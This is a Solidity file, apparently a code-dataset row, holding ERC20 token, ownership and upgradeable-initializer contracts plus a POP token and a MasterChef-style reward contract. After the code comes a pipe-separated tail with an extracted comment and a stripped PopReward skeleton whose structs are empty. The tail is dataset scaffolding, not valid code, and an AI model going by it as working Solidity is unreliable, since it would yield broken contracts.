* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract IMintableERC20 is IERC20 {
function mint(uint256 amount) public virtual;
function mintTo(address account, uint256 amount) public virtual;
function burn(uint256 amount) public virtual;
function setMinter(address account, bool isMinter) public virtual;
}
contract PopToken is ERC20("POP Token", "POP!"), IMintableERC20, Ownable {
mapping(address => bool) public minter;
uint256 public maxSupply;
event MinterUpdate(address indexed account, bool isMinter);
constructor(uint256 _maxSupply) public {
maxSupply = _maxSupply;
}
modifier onlyMinter() {
require(minter[_msgSender()], "User is not a minter.");
_;
}
function mint(uint256 _amount) public override onlyMinter {
require(totalSupply().add(_amount) <= maxSupply, "cannot mint more than maxSupply");
_mint(_msgSender(), _amount);
}
function mintTo(address _account, uint256 _amount) public override onlyMinter {
require(totalSupply().add(_amount) <= maxSupply, "cannot mint more than maxSupply");
_mint(_account, _amount);
}
function setMinter(address _account, bool _isMinter) public override onlyOwner {
require(_account != address(0), "address can not be 0");
minter[_account] = _isMinter;
emit MinterUpdate(_account, _isMinter);
}
function burn(uint256 _amount) public override {
_burn(_msgSender(), _amount);
}
}
abstract contract IRewardManager {
function add(uint256 _allocPoint, address _newMlp) public virtual;
function notifyDeposit(address _account, uint256 _amount) public virtual;
function notifyWithdraw(address _account, uint256 _amount) public virtual;
function getPoolSupply(address pool) public view virtual returns (uint256);
function getUserAmount(address pool, address user) public view virtual returns (uint256);
}
// stolen from Sushiswap MasterChef: https://github.com/sushiswap/sushiswap/blob/master/contracts/MasterChef.sol
contract PopReward is Initializable, OwnableUpgradeSafe, IRewardManager {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt
}
// Info of each pool.
struct PoolInfo {
uint256 allocPoint; // How many allocation points assigned to this pool. POPs to distribute per block.
uint256 lastRewardBlock; // Last block number that POPs distribution occurs.
uint256 accPopPerShare; // Accumulated POPs per share, times 1e12. See below.
uint256 lpSupply; // Total amount of lp token staked
}
PopToken public pop;
// Block number when bonus POP period ends.
uint256 public bonusEndBlock;
// POP tokens created per block.
uint256 public popPerBlock;
// Bonus multiplier for early pop makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when POP mining starts.
uint256 public startBlock;
// authorized MLPs
uint256 private constant UINT256_MAX = ~uint256(0);
mapping(address => uint256) public pidByAddress;
address public popMarketplace;
mapping(address => bool) public authorizedMlp;
PoolInfo public popVault;
mapping(address => UserInfo) public popStaker;
event PopDeposit(address indexed user, uint256 amount);
event PopWithdraw(address indexed user, uint256 amount);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 indexed pid, uint256 amount);
function initialize(
PopToken _pop,
uint256 _popPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock,
uint256 _popAllocPoint,
uint256 _popVaultStarts
) public initializer {
OwnableUpgradeSafe.__Ownable_init();
pop = _pop;
popPerBlock = _popPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
popVault = PoolInfo({allocPoint: _popAllocPoint, lastRewardBlock: _popVaultStarts, accPopPerShare: 0, lpSupply: 0});
totalAllocPoint = _popAllocPoint;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function getPoolSupply(address pool) public view override returns (uint256) {
return poolInfo[pidByAddress[pool]].lpSupply;
}
function getUserAmount(address pool, address user) public view override returns (uint256) {
return userInfo[pidByAddress[pool]][user].amount;
}
function setPopMarketplace(address _newMarketplace) public onlyOwner {
require(_newMarketplace != address(0), "Address can not be 0");
popMarketplace = _newMarketplace;
}
// Add a new pool. Can only be called by the PopMarketplace.
function add(uint256 _allocPoint, address _newMlp) public override {
require(msg.sender == popMarketplace, "only the marketplace can add a pool");
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPopPerShare: 0, lpSupply: 0}));
pidByAddress[_newMlp] = poolInfo.length - 1;
authorizedMlp[_newMlp] = true;
}
// Update the given pool's POP allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
_set(pool, _allocPoint, _withUpdate);
}
function _set(
PoolInfo storage pool,
uint256 _allocPoint,
bool _withUpdate
) private {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
pool.allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(_to.sub(bonusEndBlock));
}
}
// View function to see pending POPs on frontend.
function pendingPop(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
return _pendingPop(pool, user);
}
function _pendingPop(PoolInfo storage pool, UserInfo storage user) private view returns (uint256) {
uint256 accPopPerShare = pool.accPopPerShare;
uint256 lpSupply = pool.lpSupply;
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accPopPerShare = accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accPopPerShare).div(1e12).sub(user.rewardDebt);
}
function vaultPendingPop(address _account) external view returns (uint256) {
UserInfo storage user = popStaker[_account];
return _pendingPop(popVault, user);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
updatePopVault();
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
return _updatePool(pool);
}
function _updatePool(PoolInfo storage pool) private {
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpSupply;
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pop.mintTo(address(this), popReward);
pool.accPopPerShare = pool.accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Notify the amount of LP tokens staked in the PopVault.
function notifyDeposit(address _account, uint256 _amount) public override {
require(authorizedMlp[msg.sender], "unauthorized sender");
uint256 _pid = pidByAddress[msg.sender];
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_account];
updatePool(_pid);
_notifyDeposit(_account, pool, user, _amount);
emit Deposit(_account, _pid, _amount);
}
function _notifyDeposit(
address _account,
PoolInfo storage pool,
UserInfo storage user,
uint256 _amount
) private {
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
safePopTransfer(_account, pending);
}
pool.lpSupply = pool.lpSupply.add(_amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
// Notify the amount of LP token withdrawn from the PopVault.
function notifyWithdraw(address _account, uint256 _amount) public override {
require(authorizedMlp[msg.sender], "unauthorized sender");
uint256 _pid = pidByAddress[msg.sender];
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_account];
updatePool(_pid);
_notifyWithdraw(_account, pool, user, _amount, _pid);
emit Withdraw(_account, _pid, _amount);
}
function _notifyWithdraw(
address _account,
PoolInfo storage pool,
UserInfo storage user,
uint256 _amount,
uint256 _pid
) private {
require(user.amount >= _amount, "withdraw: not good");
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safePopTransfer(_account, pending);
}
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
pool.lpSupply = pool.lpSupply.sub(_amount);
emit RewardPaid(_account, _pid, pending);
}
// Safe pop transfer function, just in case if rounding error causes pool to not have enough POPs.
function safePopTransfer(address _to, uint256 _amount) internal {
uint256 popBal = pop.balanceOf(address(this)).sub(popVault.lpSupply);
if (_amount > popBal) {
pop.transfer(_to, popBal);
} else {
pop.transfer(_to, _amount);
}
}
function stakePop(uint256 _amount) public {
UserInfo storage user = popStaker[msg.sender];
updatePopVault();
_notifyDeposit(msg.sender, popVault, user, _amount);
require(pop.transferFrom(msg.sender, address(this), _amount), "transfer failed");
emit PopDeposit(msg.sender, _amount);
}
function withdrawPop(uint256 _amount) public {
UserInfo storage user = popStaker[msg.sender];
updatePopVault();
_notifyWithdraw(msg.sender, popVault, user, _amount, UINT256_MAX);
require(pop.transfer(msg.sender, _amount), "transfer failed");
emit PopWithdraw(msg.sender, _amount);
}
function updatePopVault() public {
_updatePool(popVault);
}
function setPopVault(uint256 _allocPoint) public onlyOwner {
_set(popVault, _allocPoint, false);
}
function setPopVaultStartBlock(uint256 _startBlock) external onlyOwner {
popVault.lastRewardBlock = _startBlock;
}
function claimRewards(uint256 _poolId) external {
updatePool(_poolId);
_harvest(_poolId);
}
function claimPopRewards() external {
updatePopVault();
_harvestPopRewards(popVault);
}
function _harvestPopRewards(PoolInfo storage pool) internal {
UserInfo storage user = popStaker[msg.sender];
if (user.amount == 0) return;
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
// Pay out the pending rewards
safePopTransfer(msg.sender, pending);
emit RewardPaid(msg.sender, UINT256_MAX, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
function _harvest(uint256 _poolId) internal {
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
if (user.amount == 0) return;
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
// Pay out the pending rewards
safePopTransfer(msg.sender, pending);
emit RewardPaid(msg.sender, _poolId, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
} | stolen from Sushiswap MasterChef: https:github.com/sushiswap/sushiswap/blob/master/contracts/MasterChef.sol Info of each user. | contract PopReward is Initializable, OwnableUpgradeSafe, IRewardManager {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
}
struct PoolInfo {
}
PopToken public pop;
mapping(address => uint256) public pidByAddress;
address public popMarketplace;
mapping(address => bool) public authorizedMlp;
PoolInfo public popVault;
mapping(address => UserInfo) public popStaker;
event PopDeposit(address indexed user, uint256 amount);
event PopWithdraw(address indexed user, uint256 amount);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
